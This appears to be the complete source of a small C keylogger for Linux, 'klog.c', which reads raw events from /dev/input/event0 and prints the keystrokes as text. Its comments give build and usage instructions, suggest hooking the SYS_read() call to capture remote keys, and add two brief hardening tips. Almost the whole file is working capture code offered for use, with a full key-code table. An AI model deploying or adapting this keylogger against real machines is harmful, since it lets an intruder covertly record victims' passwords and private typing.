keylog/klog.c

   1 /* klog.c v0.6
   2  * <~~Harvie 2oo8
   3  * THX2:        Dayvee (Idea),
   4  *                              joe@aol.com (Reversing),
   5  *                              -=Punka][Tux=- (BugReport),
   6  *                              Warriant's code (Inspiration),
   7  *                              Linus (God Blessed Linux)
   8  *
   9  * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
  10  * In other words: this is keylogger for Linux.
  11  * If you have more keyboards, try other events (event1, ...eventX).
  12  * Only local keyboard is supported,
  13  *  remote keys can be captured by hooking on SYS_read() system call.
  14  *
  15  * Build:
  16  * - gcc argv[0].c -o argv[0]
  17  *
  18  * Usage (all examples do the same):
  19  * - cat /dev/input/event0 | argv[0]
  20  * - argv[0] /dev/input/event0
  21  * - argv[0] -
  22  *
  23  * Adding new keystroke values:
  24  * - <XXX> = keystroke id
  25  * - set MAXSTROKE to 0 to get only keystroke values
  26  *
  27  * Defensive security:
  28  * - chown & chmod /dev/input/event0
  29  * - don't give cheap root to everybody
  30  */
  31
  32 #include <stdio.h>
  33 #include <stdlib.h>
  34 #include <signal.h>
  35 #define DEFAULTINPUT "/dev/input/event0"
  36
  37 #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
  38 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
  39         "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
  40         "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
  41         "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
  42         "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
  43         "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
  44         "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2",   "3", "0",
  45         "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
  46         "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
  47         "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<101>",
  48         "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
  49         "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
  50         "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
  51         /* Hint:
  52                 [CAPSL][ESC]    = CapsLock On
  53                 [CAPSL]         = CapsLock Off
  54                 [NUML]<0>       = NumLock On
  55                 [NUML]          = NumLock Off
  56                 3[ESC]3         = Escape
  57         */
  58 };
  59
  60 void cleanup(void) {
  61         fclose(stdin);
  62         fclose(stdout);
  63 }
  64
  65 static void sigint_handler(int signo) {
  66         exit(0);
  67 }
  68
  69 int main(int argc, char *argv[]) {
  70
  71         atexit(&cleanup);
  72         signal(SIGINT, &sigint_handler);
  73         signal(SIGTERM, &sigint_handler);
  74         signal(SIGQUIT, &sigint_handler);
  75         signal(SIGSEGV, &sigint_handler);
  76
  77
  78         FILE *ftest;
  79         printf("Reading data from: ");
  80         if(argc > 1 && argv[1][0] != '-') {
  81                 ftest = freopen(argv[1], "rb", stdin);
  82                 printf("%s\n", argv[1]);
  83         }
  84         if(argc > 1 && argv[1][0] == '-') {
  85                 ftest = freopen(DEFAULTINPUT, "rb", stdin);
  86                 printf("%s\n", DEFAULTINPUT);
  87         }
  88         if(argc == 1) {
  89                 printf("STDIN\n", argv[1]);
  90         }
  91
  92         if(ftest == NULL) {
  93                 printf("Failed to open file!\n\n");
  94                 return(1);
  95         }
  96
  97         printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
  98
  99         unsigned char keystroke[17];
 100         while(1) {
 101                 read(0, keystroke, 16);
 102                 if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) {
 103                         if(keystroke[10] <= MAXSTROKE) {
 104                                 printf("%s", strokes[keystroke[10]]);
 105                         } else {
 106                                 printf("<%d>", keystroke[10]);
 107                         }
 108                 }
 109         }
 110
 111 }